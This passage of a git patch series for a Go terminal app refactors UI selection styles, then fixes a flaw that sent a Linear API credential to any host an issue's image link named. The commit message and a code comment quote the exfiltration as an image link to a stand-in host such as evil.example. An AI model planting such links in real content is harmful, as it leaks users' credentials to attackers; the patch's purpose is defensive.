+ if !ok || arg.Name != "ColorAccent" { + return true + } + t.Errorf("%s: constructs an accent fill inline.\n"+ + "Background(ColorAccent) is fleet's focus treatment and lives only in %s.\n"+ + "Use SelectionPill/PrimaryAction/FocusCaret, or add a named role there and\n"+ + "document what it outranks (docs/design-system.md).", + fset.Position(call.Pos()), designSystemHome) + return true + }) + } +} + +// TestModeNeverFills pins the half of the rule that a scarcity check alone +// would miss. Demoting the palette's tab to accent text fixed nothing on its +// own if the next mode indicator reaches for Background(ColorBorder) instead: +// a muted fill still outranks the plain text every other tab renders as, and +// still competes with the selected row for "the thing that looks picked". +// +// A mode is carried by color and weight. It does not get a background at all. +func TestModeNeverFills(t *testing.T) { + for name, s := range map[string]string{ + "ModeOn": ModeOn().Render("tickets 3"), + "ModeOff": ModeOff().Render("tickets 3"), + } { + // 48;2;r;g;b and 48;5;n are the SGR forms lipgloss emits for a + // background; either one means this style filled. + if strings.Contains(s, "48;2;") || strings.Contains(s, "48;5;") { + t.Errorf("%s fills a background (%q) — a mode indicator must not.\n"+ + "Weight and color carry it; a fill belongs to the selection and the caret.", name, s) + } + } +} + +// TestSelectionDistinguishesFocus keeps the two selection weights actually +// distinct. They exist so a list that has lost the keyboard still shows where +// its cursor is without competing with whatever took it; collapsing them (by +// making both accent, or both muted) silently removes that signal while every +// other test still passes. +func TestSelectionDistinguishesFocus(t *testing.T) { + focused := SelectionPill(true).Render("session") + blurred := SelectionPill(false).Render("session") + if focused == blurred { + t.Fatal("SelectionPill renders identically focused and unfocused — " + + "a blurred list must not look like it owns the keyboard") + } + if !strings.Contains(blurred, "48;") { + t.Errorf("unfocused SelectionPill dropped its fill (%q) — it should stay a "+ + "muted band, not vanish; the cursor is still there", blurred) + } +} + +// packageSourceFiles lists the package's non-test Go sources. +func packageSourceFiles(t *testing.T) []string { + t.Helper() + entries, err := os.ReadDir(".") + if err != nil { + t.Fatalf("read package dir: %v", err) + } + var out []string + for _, e := range entries { + name := e.Name() + if e.IsDir() || !strings.HasSuffix(name, ".go") || strings.HasSuffix(name, "_test.go") { + continue + } + out = append(out, name) + } + if len(out) == 0 { + t.Fatal("no package sources found") + } + return out +} diff --git a/internal/ui/dialogs.go b/internal/ui/dialogs.go index 0cc2d901..79003694 100644 --- a/internal/ui/dialogs.go +++ b/internal/ui/dialogs.go @@ -103,7 +103,7 @@ type NewSessionDialog struct { // NewNewSessionDialog creates a new session dialog. func NewNewSessionDialog() *NewSessionDialog { - ti := textinput.New() + ti := NewTextInput() ti.Placeholder = "~/code/my-project" ti.CharLimit = 256 ti.SetWidth(40) @@ -296,7 +296,7 @@ func (d *NewSessionDialog) View() string { b.WriteString("\n") for i, s := range d.suggestions { if i == d.suggestionCursor { - b.WriteString(SessionSelectionPrefix.Render("▸ ") + SessionTitleSelStyle.Render(s)) + b.WriteString(SelectionMarker(true).Render("▸ ") + SelectionPill(true).Render(s)) } else { b.WriteString(" " + DimStyle.Render(s)) } @@ -361,7 +361,7 @@ type RenameDialog struct { // NewRenameDialog creates a new rename dialog. func NewRenameDialog() *RenameDialog { - ti := textinput.New() + ti := NewTextInput() ti.Placeholder = "session name" ti.CharLimit = 64 ti.SetWidth(40) diff --git a/internal/ui/drawer.go b/internal/ui/drawer.go index 3f636955..bd4d1cb4 100644 --- a/internal/ui/drawer.go +++ b/internal/ui/drawer.go @@ -738,7 +738,7 @@ func (h *Home) renderDrawer(width, maxOuterH int) string { // Block cursor at the emulator's real (x, y). Only overlaid once fully open — // the slide crops rows, so the row index would otherwise be off. if h.drawerMode == drawerTyping && h.drawerProgress >= 0.999 && cursorY >= 0 && cursorY < len(body) { - cur := lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent) + cur := FocusCaret() line := body[cursorY] lw := lipgloss.Width(line) if cursorX < 0 || cursorX >= lw { @@ -780,7 +780,11 @@ func (h *Home) renderDrawer(width, maxOuterH int) string { // vocabulary as the sidebar — so the focused shell reads at a glance. func (h *Home) drawerTitle(shells []*shell.Shell) string { active := h.clampTab(len(shells)) - selStyle := lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent).Bold(true).Padding(0, 1) + // A tab is a MODE where focus lives elsewhere, and a SELECTION where + // switching it moves the keyboard. The drawer is always in typing mode when + // it is on screen, so picking a tab picks the shell your keystrokes go to — + // this is the sidebar's selected-row pill, not the palette's mode strip. + selStyle := SelectionPill(true).Padding(0, 1) parts := []string{lipgloss.NewStyle().Foreground(ColorAccent).Bold(true).Render("Terminal")} for i, sh := range shells { name := truncCmd(sh.DisplayName(), drawerTabNameMax) diff --git a/internal/ui/launchpad.go b/internal/ui/launchpad.go index 512c4c1d..6438859b 100644 --- a/internal/ui/launchpad.go +++ b/internal/ui/launchpad.go @@ -230,7 +230,7 @@ func renderLaunchpadOrigin(originKey string, count int) string { func (l *Launchpad) renderItem(it discovery.Recent, isCursor, isChecked bool, w int) string { cursorMark := " " if isCursor { - cursorMark = SessionSelectionPrefix.Render("❯") + cursorMark = SelectionMarker(true).Render("❯") } box := DimStyle.Render("○") if isChecked { @@ -280,7 +280,7 @@ func (l *Launchpad) footer(w int) string { if n > 0 { cta = fmt.Sprintf("Add %d & continue", n) } - button := SessionTitleSelStyle.Render(" ⏎ " + cta + " ") + button := PrimaryAction().Render(" ⏎ " + cta + " ") key := func(k string) string { return HelpKeyStyle.Render(k) } dim := func(s string) string { return DimStyle.Render(s) } diff --git a/internal/ui/releasenotes.go b/internal/ui/releasenotes.go index 2ce91eb2..acc34478 100644 --- a/internal/ui/releasenotes.go +++ b/internal/ui/releasenotes.go @@ -302,7 +302,10 @@ func (d *ReleaseNotesDialog) appendRelease(out *[]string, r releasenotes.Release } left := verStyle.Render("v" + r.Version) if installed { - left += " " + lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent).Bold(true).Padding(0, 1).Render("INSTALLED") + // Which release is in effect is a MODE, not the cursor and not focus, so + // it wears accent text rather than the inverted-accent fill the selected + // row owns — it used to out-shout the row you were standing on. + left += " " + ModeOn().Render("INSTALLED") } if r.Prerelease { left += " " + lipgloss.NewStyle().Foreground(ColorYellow).Render("pre-release") diff --git a/internal/ui/settings.go b/internal/ui/settings.go index c91d21b9..8dc21296 100644 --- a/internal/ui/settings.go +++ b/internal/ui/settings.go @@ -374,10 +374,10 @@ func (d *SettingsDialog) renderRail() string { var style lipgloss.Style switch { case selected && d.focus == focusCategories: - style = lipgloss.NewStyle().Bold(true).Foreground(ColorBg).Background(ColorAccent) + style = SelectionPill(true) label = " " + label case selected: - style = lipgloss.NewStyle().Bold(true).Foreground(ColorAccent) + style = SelectionPill(false) label = " " + label default: style = lipgloss.NewStyle().Foreground(ColorTextDim) diff --git a/internal/ui/sidebar.go b/internal/ui/sidebar.go index c7c3a7af..6b31e117 100644 --- a/internal/ui/sidebar.go +++ b/internal/ui/sidebar.go @@ -493,7 +493,7 @@ func renderOriginHeader(item SidebarItem, width int, selected bool) string { } if selected { - icon := SessionSelectionPrefix.Render(chevron) + icon := SelectionMarker(true).Render(chevron) name := selTitle().Render(" " + item.OriginLabel + " ") out := fmt.Sprintf("%s %s", icon, name) if countStr != "" { @@ -594,7 +594,7 @@ func renderCheckoutHeader(item SidebarItem, repoInfo *git.RepoInfo, width int, s } if selected { - icon := SessionSelectionPrefix.Render(chevron) + icon := SelectionMarker(true).Render(chevron) // Selection bg is one contiguous span over title + dirty + PR badge, // so the highlighted row reads as a single pill instead of two boxes. inner := " " + label + dirty @@ -625,7 +625,7 @@ func renderCheckoutHeaderNonGit(item SidebarItem, selected bool) string { failMark = " " + ErrorStyle.Render("✕ removal failed — d to retry") } if selected { - icon := SessionSelectionPrefix.Render(chevron) + icon := SelectionMarker(true).Render(chevron) nameStyled := selTitle().Render(" " + name + " ") return fmt.Sprintf(" %s %s", icon, nameStyled) + failMark } diff --git a/internal/ui/snooze_dialog.go b/internal/ui/snooze_dialog.go index 3b7f39ba..bb82591a 100644 --- a/internal/ui/snooze_dialog.go +++ b/internal/ui/snooze_dialog.go @@ -53,7 +53,7 @@ type SnoozeDialog struct { } func NewSnoozeDialog() *SnoozeDialog { - ti := textinput.New() + ti := NewTextInput() ti.Placeholder = "e.g. 15m, 3h, 2d" ti.CharLimit = 8 ti.SetWidth(18) diff --git a/internal/ui/styles.go b/internal/ui/styles.go index 7eeabf44..9a1871cb 100644 --- a/internal/ui/styles.go +++ b/internal/ui/styles.go @@ -46,75 +46,32 @@ var ( // Pre-allocated styles. var ( - TitleStyle = lipgloss.NewStyle(). - Bold(true). - Foreground(ColorAccent) - - RepoHeaderStyle = lipgloss.NewStyle(). - Bold(true). - Foreground(ColorAccent) - - SessionItemStyle = lipgloss.NewStyle(). - Foreground(ColorText) - - SessionSelectedStyle = lipgloss.NewStyle(). - Foreground(ColorAccent). - Bold(true) - - PreviewHeaderStyle = lipgloss.NewStyle(). - Bold(true). - Foreground(ColorText) - - PreviewContentStyle = lipgloss.NewStyle(). - Foreground(ColorTextDim) - - HelpBarStyle = lipgloss.NewStyle(). - Foreground(ColorTextDim) - - ErrorStyle = lipgloss.NewStyle(). - Foreground(ColorRed) - - DimStyle = lipgloss.NewStyle(). - Foreground(ColorTextDim) + TitleStyle lipgloss.Style + RepoHeaderStyle lipgloss.Style + SessionItemStyle lipgloss.Style + SessionSelectedStyle lipgloss.Style + PreviewHeaderStyle lipgloss.Style + PreviewContentStyle lipgloss.Style + HelpBarStyle lipgloss.Style + ErrorStyle lipgloss.Style + DimStyle lipgloss.Style // AgentGlyphStyle is the muted tone for the per-session agent sigil (✻/⬡): // quiet, monochrome, theme-safe — identity is carried by shape, not color, // so the status dot keeps sole ownership of the status color. - AgentGlyphStyle = lipgloss.NewStyle(). - Foreground(ColorTextDim) - - PanelStyle = lipgloss.NewStyle(). - Border(lipgloss.RoundedBorder()). - BorderForeground(ColorBorder) - - DialogStyle = lipgloss.NewStyle(). - Border(lipgloss.RoundedBorder()). - BorderForeground(ColorAccent). - Padding(1, 2) - - StatusRunningStyle = lipgloss.NewStyle().Foreground(ColorGreen).Bold(true) - StatusWaitingStyle = lipgloss.NewStyle().Foreground(ColorYellow).Bold(true) - StatusFinishedStyle = lipgloss.NewStyle().Foreground(ColorBlue).Bold(true) - StatusIdleStyle = lipgloss.NewStyle().Foreground(ColorGray) - StatusErrorStyle = lipgloss.NewStyle().Foreground(ColorRed).Bold(true) - StatusStartingStyle = lipgloss.NewStyle().Foreground(ColorAccent) - StatusSuspendedStyle = lipgloss.NewStyle().Foreground(ColorTextDim) + AgentGlyphStyle lipgloss.Style + PanelStyle lipgloss.Style + DialogStyle lipgloss.Style + StatusRunningStyle lipgloss.Style + StatusWaitingStyle lipgloss.Style + StatusFinishedStyle lipgloss.Style + StatusIdleStyle lipgloss.Style + StatusErrorStyle lipgloss.Style + StatusStartingStyle lipgloss.Style + StatusSuspendedStyle lipgloss.Style // Tool badge style. - ToolClaudeStyle = lipgloss.NewStyle().Foreground(ColorOrange) - - // Selection styles (inverted). - SessionSelectionPrefix = lipgloss.NewStyle().Foreground(ColorAccent).Bold(true) - SessionTitleSelStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorBg).Background(ColorAccent) - SessionStatusSelStyle = lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent) - TreeConnectorSelStyle = lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent) - ToolBadgeSelStyle = lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent) - - // Dimmed selection (used when the sidebar doesn't own the keyboard — e.g. - // the terminal drawer is focused). A muted bar instead of the bright accent - // pill, so the row still reads as "selected" but clearly inactive. - SessionTitleSelDimStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorText).Background(ColorBorder) - SessionStatusSelDimStyle = lipgloss.NewStyle().Foreground(ColorText).Background(ColorBorder) + ToolClaudeStyle lipgloss.Style // selectionDimmed makes the sidebar's selected-row pill render muted instead // of accent — set by RenderSidebar when the sidebar doesn't own the keyboard @@ -122,41 +79,46 @@ var ( selectionDimmed bool // Panel title style (cyan/blue like agent-deck). - PanelTitleStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorBlue) + PanelTitleStyle lipgloss.Style // Header bar style — no background fill so the top bar reads as part of // the canvas, not a separate ribbon. - HeaderBarStyle = lipgloss.NewStyle().Padding(0, 1) + HeaderBarStyle lipgloss.Style // Help bar key style — accent-color text, bold. No background fill; // reads as a Posting-style "colored key + plain description" pair. - HelpKeyStyle = lipgloss.NewStyle(). - Foreground(ColorAccent). - Bold(true) - - HelpDescStyle = lipgloss.NewStyle().Foreground(ColorText) - - HelpSepStyle = lipgloss.NewStyle().Foreground(ColorBorder) + HelpKeyStyle lipgloss.Style + HelpDescStyle lipgloss.Style + HelpSepStyle lipgloss.Style // Git info styles. - BranchStyle = lipgloss.NewStyle().Foreground(ColorBlue) - DirtyStyle = lipgloss.NewStyle().Foreground(ColorYellow).Bold(true) - PROpenStyle = lipgloss.NewStyle().Foreground(ColorGreen) - PRFailStyle = lipgloss.NewStyle().Foreground(ColorRed) - PRPendingStyle = lipgloss.NewStyle().Foreground(ColorYellow) - PRMergedStyle = lipgloss.NewStyle().Foreground(ColorPurple) - PRDraftStyle = lipgloss.NewStyle().Foreground(ColorTextDim) + BranchStyle lipgloss.Style + DirtyStyle lipgloss.Style + PROpenStyle lipgloss.Style + PRFailStyle lipgloss.Style + PRPendingStyle lipgloss.Style + PRMergedStyle lipgloss.Style + PRDraftStyle lipgloss.Style // Slot badge style (RTS-style quick-access hotkey). - SlotBadgeStyle = lipgloss.NewStyle().Foreground(ColorOrange).Bold(true) + SlotBadgeStyle lipgloss.Style // Dim variant of the slot badge — used in the clean-tree sidebar where // the bright orange would fight the calm row layout. - SlotBadgeDimStyle = lipgloss.NewStyle().Foreground(ColorTextDim) + SlotBadgeDimStyle lipgloss.Style ) // ApplyPalette reassigns all color vars and rebuilds all style vars from the given palette. // Must be called on the main goroutine (Bubble Tea Update/View). +// init seeds the style table with the default palette. ApplyPalette is the +// ONLY place a style in that table is constructed: the table used to carry a +// full set of initializers as well, so every style was written twice, and one +// written only once silently kept default-pink under every other theme. +// Declaring the styles bare makes that failure impossible — a style ApplyPalette +// forgets renders as nothing at all, in every theme including the default, on +// the very first frame. +func init() { ApplyPalette(PaletteFleetPink) } + func ApplyPalette(p Palette) { // 1. Reassign color vars. ColorBg = p.Bg @@ -198,14 +160,6 @@ func ApplyPalette(p Palette) { ToolClaudeStyle = lipgloss.NewStyle().Foreground(ColorOrange) - SessionSelectionPrefix = lipgloss.NewStyle().Foreground(ColorAccent).Bold(true) - SessionTitleSelStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorBg).Background(ColorAccent) - SessionStatusSelStyle = lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent) - TreeConnectorSelStyle = lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent) - ToolBadgeSelStyle = lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent) - SessionTitleSelDimStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorText).Background(ColorBorder) - SessionStatusSelDimStyle = lipgloss.NewStyle().Foreground(ColorText).Background(ColorBorder) - PanelTitleStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorBlue) HeaderBarStyle = lipgloss.NewStyle().Padding(0, 1) @@ -258,18 +212,12 @@ func RenderBorderedPanelInsets(content, title, titleRight, footerLeft, footerRig // selTitle returns the selected-row title style — muted when the sidebar is // unfocused (terminal drawer focused), accent otherwise. func selTitle() lipgloss.Style { - if selectionDimmed { - return SessionTitleSelDimStyle - } - return SessionTitleSelStyle + return SelectionPill(!selectionDimmed) } // selStatus returns the selected-row status/count style (muted when unfocused). func selStatus() lipgloss.Style { - if selectionDimmed { - return SessionStatusSelDimStyle - } - return SessionStatusSelStyle + return SelectionPillSecondary(!selectionDimmed) } // RenderBorderedPanelFull embeds a right-aligned inset into BOTH the top border diff --git a/internal/ui/workspace_create.go b/internal/ui/workspace_create.go index 761af30c..519c6e28 100644 --- a/internal/ui/workspace_create.go +++ b/internal/ui/workspace_create.go @@ -76,13 +76,13 @@ type CreateWorkspaceDialog struct { // NewCreateWorkspaceDialog creates a new create workspace dialog. func NewCreateWorkspaceDialog() *CreateWorkspaceDialog { - ni := textinput.New() + ni := NewTextInput() ni.Placeholder = "workspace name" ni.CharLimit = 64 ni.SetWidth(40) ni.Focus() - bi := textinput.New() + bi := NewTextInput() bi.Placeholder = "branch name" bi.CharLimit = 128 bi.SetWidth(40) diff --git a/internal/ui/workspace_picker.go b/internal/ui/workspace_picker.go index 5de8d957..7d811050 100644 --- a/internal/ui/workspace_picker.go +++ b/internal/ui/workspace_picker.go @@ -62,12 +62,12 @@ type WorktreeDialog struct { // NewWorktreeDialog creates a new worktree dialog. func NewWorktreeDialog() *WorktreeDialog { - base := textinput.New() + base := NewTextInput() base.Placeholder = "master" base.CharLimit = 128 base.SetWidth(40) - branch := textinput.New() + branch := NewTextInput() branch.Placeholder = "feature/my-feature" branch.CharLimit = 128 branch.SetWidth(40) @@ -316,7 +316,7 @@ func (d *WorktreeDialog) View() string { func (d *WorktreeDialog) renderWorktreeRow(ws *workspace.WorkspaceInfo, selected bool) string { prefix := " " if selected { - prefix = SessionSelectionPrefix.Render("▸ ") + prefix = SelectionMarker(true).Render("▸ ") } // Name. @@ -342,7 +342,7 @@ func (d *WorktreeDialog) renderWorktreeRow(ws *workspace.WorkspaceInfo, selected if count > 0 { line += fmt.Sprintf(" %d", count) } - return prefix + SessionTitleSelStyle.Render(line) + return prefix + SelectionPill(true).Render(line) } nameStyled := lipgloss.NewStyle().Foreground(ColorText).Render(fmt.Sprintf("%-20s", name)) From b96c5dcc7b54313f5739f437e65662544a157a42 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Wed, 19 Aug 2026 12:37:39 +0300 Subject: [PATCH 17/23] fix(linear): stop sending the Linear credential to any host an issue names MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Review fixes for #248. The first one is the reason this is a fix commit and not a chore. SECURITY. fetchImage attached the live Linear credential — a raw personal API key, or an OAuth access token — to whatever URL findImages handed it, and findImages accepted every http(s) target in an issue's markdown. Issue descriptions and comments are attacker-influenced content, including through Linear's customer requests and public intake, so `![x](http://evil/)` in an issue fleet materializes was a one-line credential exfiltration. uploadsHost had been declared for exactly this and was referenced only from a test, so the gate never shipped. Now: https + uploads.linear.app enforced in findImages, re-checked inside fetchImage on the line above the Authorization header (a gate one call away from what it protects is one a refactor removes), and a dedicated client that refuses redirects outright — Go only strips Authorization across a *domain* change and deliberately permits uploads.linear.app -> anything.linear.app. Tests assert the host gate rejects suffix/prefix/userinfo impersonation and metadata endpoints, that no request is made at all to a foreign host, and that no redirect is followed; each fails when its protection is removed. Also fixed: - The mixed palette tab blanked Detail on every non-recent row, not just ticket rows, so repo and worktree entries lost their branch name whenever nothing was typed. Recent rows kept theirs, so one list showed some branches and not others. Mine, from 13ad920. - palette_tickets read Session.Status directly from the Update goroutine while the worker writes it under s.mu. Now GetStatus(). - ticketPromptFor and sessionsByTicket called session.GetRepoRoot, which shells out to `git rev-parse` with an 8s ceiling on a cache miss — on the goroutine that paints every frame, and while ticketPromptFor's comment claimed it did "no I/O beyond a stat". New LookupRepoRoot is cache-only; a miss falls back to the path, which is the correct root for a worktree or a main repo. Scoped to these two files: GetRepoRoot is used widely elsewhere in internal/ui and that audit is its own job. - The state mutation now reads meta.json before firing, so "exactly-once" is enforced rather than asserted. Its reach is bounded and the comment says so: the record lives in the ticket directory, so deleting that directory is still a deliberate re-arm. - esc during OAuth sign-in only hid the dialog while the loopback listener stayed bound for five minutes on one of three registered ports, and a flow completed afterwards still stored a credential. The dialog now owns the context. Cancellation is reported as a choice, not a failure. - A failed disconnect was discarded. The reviewer's stated symptom was wrong — Disconnect clears memory first, so the dialog does show as disconnected — but the real one is worse: the credential survives on disk and returns at the next launch. That is now what the message says. - err == ErrNotFound -> errors.Is, or a wrapped sentinel skips the negative pin. - VerifyCredential no longer caches the workspace: it runs on a credential nothing has stored yet, so a refused write left WorkspaceInfo reporting a workspace no credential backs. - The mismatch note bounds ws.Name. Shortening the wording was only half that fix; the API-supplied name is the variable that wraps. - repo_config and CLAUDE.md claimed `team` and `teams` both merge additively. `team` is an override. - Two worktree_test cases passed identical args, so the one named "flags parse on either side" tested nothing its neighbour did. - Changelog fragment split into one idea per bullet. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- changelog/unreleased/linear-tickets.md | 8 +- cmd/fleet/worktree_test.go | 15 ++- internal/linear/api.go | 29 ++++- internal/linear/images.go | 57 +++++++- internal/linear/images_security_test.go | 136 ++++++++++++++++++++ internal/linear/materialize.go | 47 ++++++- internal/linear/materialize_test.go | 61 +++++++++ internal/session/session.go | 13 ++ internal/ui/app.go | 16 ++- internal/ui/command_palette.go | 12 +- internal/ui/connect_linear.go | 67 +++++++++- internal/ui/palette_tickets.go | 14 +- internal/ui/palette_tickets_test.go | 30 +++++ internal/ui/ticket.go | 34 +++-- internal/ui/workspace_picker_ticket.go | 12 ++ internal/ui/worktree_ticket_e2e_test.go | 46 +++++-- internal/ui/worktree_ticket_routing_test.go | 33 +++++ internal/workspace/repo_config.go | 6 +- 19 files changed, 583 insertions(+), 55 deletions(-) create mode 100644 internal/linear/images_security_test.go create mode 100644 internal/linear/materialize_test.go diff --git a/CLAUDE.md b/CLAUDE.md index 86704d72..7c061658 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -185,7 +185,7 @@ Styles in `styles.go` are declared **bare** and constructed **only** in `ApplyPa - Worktree creation copies `.claude/settings.local.json` from source repo (configurable via `copy_claude_settings`, default true) - `.fleet.json` / `.fleet.local.json` in repo root (legacy `.bc.json` / `.bc.local.json` still read): `{"workspace": {"list": "cmd", "create": "cmd {{name}} {{branch}}", "destroy": "cmd {{name}}"}}` - `.fleet.json` / `.fleet.local.json` may also set `{"pr_checks": {"ignore": ["glob", ...]}}` to drop matching CI checks from the PR-badge rollup (path.Match globs; lists from both files merge additively; opt-in, empty by default) -- `.fleet.json` / `.fleet.local.json` may also set `{"linear": {"team": "BRZ"}}` (or `"teams": ["BRZ","PRD"]`) to name the Linear team(s) this repo tracks — the per-repo gate that turns ticket features on. `.fleet.local.json` is usually the right home: team membership is personal and `.fleet.json` is committed. Lists merge additively; falls back to `team_id` in a `.linear.toml` +- `.fleet.json` / `.fleet.local.json` may also set `{"linear": {"team": "BRZ"}}` (or `"teams": ["BRZ","PRD"]`) to name the Linear team(s) this repo tracks — the per-repo gate that turns ticket features on. `.fleet.local.json` is usually the right home: team membership is personal and `.fleet.json` is committed. The two keys merge **differently**, on purpose: a local `team` **replaces** the committed one (personal membership overriding a repo default is the point), while `teams` lists are appended and deduped; falls back to `team_id` in a `.linear.toml` - `.fleet.json` / `.fleet.local.json` may also set `{"copy_files": {"paths": ["path", "dir", "glob/*", ...]}}` to copy gitignored files/dirs/globs from the source repo into each new worktree (filepath.Glob semantics, repo-relative only; lists from both files merge additively; opt-in, empty by default; applies to both git-worktree and shell providers; independent of `copy_claude_settings`) - Multi-agent: per-session agent (Claude, Codex, or OpenCode), chosen at creation (`A` key picker or `default_agent` config used by `a`). Stored in SQLite `agent` column; `internal/agent` owns binary name + launch command (`claude` / `codex resume ` / `codex fork ` / `opencode --session ` / `opencode --session --fork`). - Multi-account (Claude only, `internal/claudeaccount`): several Claude subscriptions, one per session, so a spent 5-hour window on one doesn't stall the fleet. The mechanism is **one env var** — `CLAUDE_CONFIG_DIR` (`claudeaccount.ConfigDirEnvVar`) pointing at a directory that holds that account's own claude.ai login — appended in `Session.sessionEnv()` (session.go), the single chokepoint already feeding `Start`/`Restart`/`RespawnClaude` via tmux `-e`. Each session therefore authenticates **exactly as a plain `claude` in a terminal does**: nothing is layered over anything, so claude.ai connectors, Remote Control and `/api/oauth/usage` all keep working. diff --git a/changelog/unreleased/linear-tickets.md b/changelog/unreleased/linear-tickets.md index 2937edac..f9b9595f 100644 --- a/changelog/unreleased/linear-tickets.md +++ b/changelog/unreleased/linear-tickets.md @@ -3,4 +3,10 @@ type: added highlight: true --- -**Start a worktree from a Linear ticket.** Type `BRZ-3182` in the `w` dialog — or search by words — and fleet names the branch from the ticket, writes it and its screenshots into the worktree, and opens the agent already told to read it and not start yet. Existing worktrees whose branch names a ticket get the same treatment, and `fleet wt --ticket BRZ-3182` does it from the shell. Press `t` for your Linear tickets, each row showing whether it already has a worktree and what that session is doing. Connect with `Ctrl+K` → "Connect Linear": sign in through your browser, or paste an API key if you work over SSH. +**Tickets become worktrees** — Type `BRZ-3182` in the `w` dialog, or search by words, and fleet names the branch from the ticket and writes it and its screenshots into the worktree. + +**Agent starts briefed** — The session opens already told to read the ticket and not start yet, so you review before it works. + +**Your tickets on `t`** — Each row shows whether it already has a worktree and what that session is doing. + +**Two ways to connect** — `Ctrl+K` → "Connect Linear" signs you in through the browser, or takes a pasted API key if you work over SSH. diff --git a/cmd/fleet/worktree_test.go b/cmd/fleet/worktree_test.go index 5efa8e57..77c2942e 100644 --- a/cmd/fleet/worktree_test.go +++ b/cmd/fleet/worktree_test.go @@ -251,9 +251,18 @@ func TestParseWorktreeArgsTicket(t *testing.T) { wantErr: "has no effect without -ticket", }, { - name: "flags parse on either side", - args: []string{"-ticket", "BRZ-1", "-no-session"}, - check: func(t *testing.T, o worktreeOpts) { mustEqual(t, o.ticket, "BRZ-1") }, + // A positional BETWEEN two flags — the shape the peeling loop in + // worktree.go exists for. Sharing args with the case above made this + // one test nothing its neighbour did not. + name: "flags parse on either side", + args: []string{"-ticket", "BRZ-1", "my-branch", "-no-session"}, + check: func(t *testing.T, o worktreeOpts) { + mustEqual(t, o.ticket, "BRZ-1") + mustEqual(t, o.branch, "my-branch") + if !o.noSession { + t.Error("-no-session after the positional was dropped") + } + }, }, { name: "no branch and no ticket still errors", diff --git a/internal/linear/api.go b/internal/linear/api.go index 260dc4e4..8a3450c9 100644 --- a/internal/linear/api.go +++ b/internal/linear/api.go @@ -35,6 +35,21 @@ func contextWithTimeout(d time.Duration) (context.Context, context.CancelFunc) { // a backstop for a request that never reaches the deadline machinery. var httpClient = &http.Client{Timeout: 90 * time.Second} +// imageClient fetches issue attachments. It refuses to follow redirects at all, +// because the request carries the Linear credential and a redirect target is a +// URL that allowedImageURL never saw. Go's own protection stops at a domain +// change and deliberately permits uploads.linear.app -> anything.linear.app. +// +// http.ErrUseLastResponse makes Do return the 3xx instead of an error, which +// then fails the StatusOK check with the redirect's own status — a more honest +// message than a synthetic one. +var imageClient = &http.Client{ + Timeout: 90 * time.Second, + CheckRedirect: func(*http.Request, []*http.Request) error { + return http.ErrUseLastResponse + }, +} + // failures are one-shot rather than polled, so this throttle isn't stopping a // flood — it stops a user who creates ten worktrees against a broken credential // from emitting ten identical events. reason is a low-cardinality label, never @@ -645,9 +660,17 @@ func fetchWorkspaceWith(ctx context.Context, cred Credential, useStored bool) (W } sort.Strings(ws.TeamKeys) - wsCache.mu.Lock() - wsCache.ws, wsCache.loaded = ws, true - wsCache.mu.Unlock() + // Only cache a reading taken with the STORED credential. VerifyCredential + // calls this with a candidate the user has just pasted and that nothing has + // persisted yet; if the store then refuses (a denied keychain prompt is the + // ordinary case, which is why persistErr exists at all), WorkspaceInfo would + // go on reporting a workspace no stored credential backs — and + // workspaceMismatchNote reads exactly that. + if useStored { + wsCache.mu.Lock() + wsCache.ws, wsCache.loaded = ws, true + wsCache.mu.Unlock() + } return ws, nil } diff --git a/internal/linear/images.go b/internal/linear/images.go index 9c7139be..2b83a48c 100644 --- a/internal/linear/images.go +++ b/internal/linear/images.go @@ -6,6 +6,7 @@ import ( "io" "mime" "net/http" + "net/url" "os" "path/filepath" "regexp" @@ -41,16 +42,41 @@ type imageRef struct { target string } -// findImages returns the remote image links in a body. +// allowedImageURL reports whether a markdown image target is one fleet may +// fetch: https, and hosted on Linear's own upload host. // -// Only http(s) targets are collected. Linear's own markdown carries absolute -// uploads.linear.app URLs, and anything else — a relative path, a data URI — -// is not something fleet has any business fetching. +// This gate is the whole defence, and it is narrow on purpose. fetchImage +// attaches the live Linear credential — a raw personal API key, or an OAuth +// access token — to whatever URL it is handed. Issue descriptions and comments +// are attacker-influenced content: anyone who can write to an issue fleet later +// materializes (including through Linear's customer requests and public intake) +// could add `![x](http://evil.example/)` and be sent the credential directly. +// +// http is refused as well as foreign hosts, so the credential can never cross +// the network in plaintext even to Linear itself. +// +// The host comparison is on url.Host, never a string prefix or suffix: a +// suffix test matches evil-uploads.linear.app.evil.example, and a prefix test +// matches uploads.linear.app.evil.example. Port is stripped so an explicit +// :443 still matches. +func allowedImageURL(target string) bool { + u, err := url.Parse(target) + if err != nil { + return false + } + return u.Scheme == "https" && u.Hostname() == uploadsHost +} + +// findImages returns the remote image links in a body that fleet may fetch. +// +// Anything else — a relative path, a data URI, plain http, or a host that is +// not Linear's — is dropped here rather than downstream, so a body full of +// hostile links costs nothing and reaches no network stack at all. func findImages(markdown []byte) []imageRef { var refs []imageRef for _, m := range imageLinkRe.FindAllSubmatch(markdown, -1) { target := string(m[2]) - if !strings.HasPrefix(target, "http://") && !strings.HasPrefix(target, "https://") { + if !allowedImageURL(target) { continue } refs = append(refs, imageRef{alt: string(m[1]), target: target}) @@ -93,6 +119,14 @@ func detectExt(name string, body []byte) (string, bool) { // an agent handed the raw markdown could not open a single screenshot. The // credential is read per request and never written anywhere. func fetchImage(ctx context.Context, url, destDir, alt string, index int) (string, int64, error) { + // Re-checked here even though findImages already filtered, because this is + // the line that attaches the credential. A gate one call away from the + // thing it protects is a gate 